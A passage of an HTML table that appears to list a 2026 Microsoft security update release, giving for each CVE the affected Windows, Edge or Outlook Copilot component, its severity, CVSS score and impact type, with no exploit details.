  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50457"><span>CVE-2026-50457</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50486"><span>CVE-2026-50486</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50503"><span>CVE-2026-50503</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54125"><span>CVE-2026-54125</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58527"><span>CVE-2026-58527</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50373"><span>CVE-2026-50373</span></a></td>
  <td width="256" class="xl74">Windows Search Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50679"><span>CVE-2026-50679</span></a></td>
  <td width="256" class="xl74">Windows Search Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44806"><span>CVE-2026-44806</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50681"><span>CVE-2026-50681</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56186"><span>CVE-2026-56186</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50367"><span>CVE-2026-50367</span></a></td>
  <td width="256" class="xl74">Windows Sensor Data
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58619"><span>CVE-2026-58619</span></a></td>
  <td width="256" class="xl74">Windows Sensor Data
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50311"><span>CVE-2026-50311</span></a></td>
  <td width="256" class="xl74">Windows Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50328"><span>CVE-2026-50328</span></a></td>
  <td width="256" class="xl74">Windows Server Update
  Service (WSUS) Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58531"><span>CVE-2026-58531</span></a></td>
  <td width="256" class="xl74">Windows SMB Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54997"><span>CVE-2026-54997</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49801"><span>CVE-2026-49801</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50690"><span>CVE-2026-50690</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56168"><span>CVE-2026-56168</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50360"><span>CVE-2026-50360</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57089"><span>CVE-2026-57089</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50333"><span>CVE-2026-50333</span></a></td>
  <td width="256" class="xl74">Windows Spaceport.sys
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50298"><span>CVE-2026-50298</span></a></td>
  <td width="256" class="xl74">Windows Spaceport.sys
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49171"><span>CVE-2026-49171</span></a></td>
  <td width="256" class="xl74">Windows Speech Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49170"><span>CVE-2026-49170</span></a></td>
  <td width="256" class="xl74">Windows
  StateRepository API Server file Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58526"><span>CVE-2026-58526</span></a></td>
  <td width="256" class="xl74">Windows Storage
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50299"><span>CVE-2026-50299</span></a></td>
  <td width="256" class="xl74">Windows Storage Spaces
  Direct Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57968"><span>CVE-2026-57968</span></a></td>
  <td width="256" class="xl74">Windows Subsystem for
  Linux (WSL2) Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57973"><span>CVE-2026-57973</span></a></td>
  <td width="256" class="xl74">Windows Subsystem for
  Linux (WSL2) Kernel Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50418"><span>CVE-2026-50418</span></a></td>
  <td width="256" class="xl74">Windows System Secure
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50306"><span>CVE-2026-50306</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50307"><span>CVE-2026-50307</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49177"><span>CVE-2026-49177</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50669"><span>CVE-2026-50669</span></a></td>
  <td width="256" class="xl74">Windows Telephony
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54124"><span>CVE-2026-54124</span></a></td>
  <td width="256" class="xl74">Windows Terminal
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50350"><span>CVE-2026-50350</span></a></td>
  <td width="256" class="xl74">Windows Trusted
  Runtime Interface Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50326"><span>CVE-2026-50326</span></a></td>
  <td width="256" class="xl74">Windows Unified
  Consent System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49790"><span>CVE-2026-49790</span></a></td>
  <td width="256" class="xl74">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50498"><span>CVE-2026-50498</span></a></td>
  <td width="256" class="xl74">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58547"><span>CVE-2026-58547</span></a></td>
  <td width="256" class="xl74">Windows Universal Plug
  and Play (UPnP) Device Host Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49794"><span>CVE-2026-49794</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50453"><span>CVE-2026-50453</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58528"><span>CVE-2026-58528</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50321"><span>CVE-2026-50321</span></a></td>
  <td width="256" class="xl74">Windows USB Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50479"><span>CVE-2026-50479</span></a></td>
  <td width="256" class="xl74">Windows USB Hub Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55000"><span>CVE-2026-55000</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54991"><span>CVE-2026-54991</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54996"><span>CVE-2026-54996</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49802"><span>CVE-2026-49802</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49806"><span>CVE-2026-49806</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50674"><span>CVE-2026-50674</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49804"><span>CVE-2026-49804</span></a></td>
  <td width="256" class="xl74">Windows USB Video
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50454"><span>CVE-2026-50454</span></a></td>
  <td width="256" class="xl74">Windows User Interface
  Core Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49176"><span>CVE-2026-49176</span></a></td>
  <td width="256" class="xl74">Windows WalletService
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49800"><span>CVE-2026-49800</span></a></td>
  <td width="256" class="xl74">Windows Web Proxy
  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50480"><span>CVE-2026-50480</span></a></td>
  <td width="256" class="xl74">Windows Web Proxy
  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56173"><span>CVE-2026-56173</span></a></td>
  <td width="256" class="xl74">Windows WebView
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58632"><span>CVE-2026-58632</span></a></td>
  <td width="256" class="xl74">Windows Win32 Kernel
  Subsystem Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54107"><span>CVE-2026-54107</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54986"><span>CVE-2026-54986</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54112"><span>CVE-2026-54112</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54114"><span>CVE-2026-54114</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50670"><span>CVE-2026-50670</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50688"><span>CVE-2026-50688</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50687"><span>CVE-2026-50687</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56176"><span>CVE-2026-56176</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58628"><span>CVE-2026-58628</span></a></td>
  <td width="256" class="xl74">Windows Wireless
  Network Manager Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50295"><span>CVE-2026-50295</span></a></td>
  <td width="256" class="xl74">Windows Zero Trust DNS
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50509"><span>CVE-2026-50509</span></a></td>
  <td width="256" class="xl74">Wireless Wide Area
  Network Service (WwanSvc) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55945"><span>CVE-2026-55945</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">4.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45488"><span>CVE-2026-45488</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45489"><span>CVE-2026-45489</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55145"><span>CVE-2026-55145</span></a></td>
  <td width="256" class="xl74">Outlook Copilot
  Tampering Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
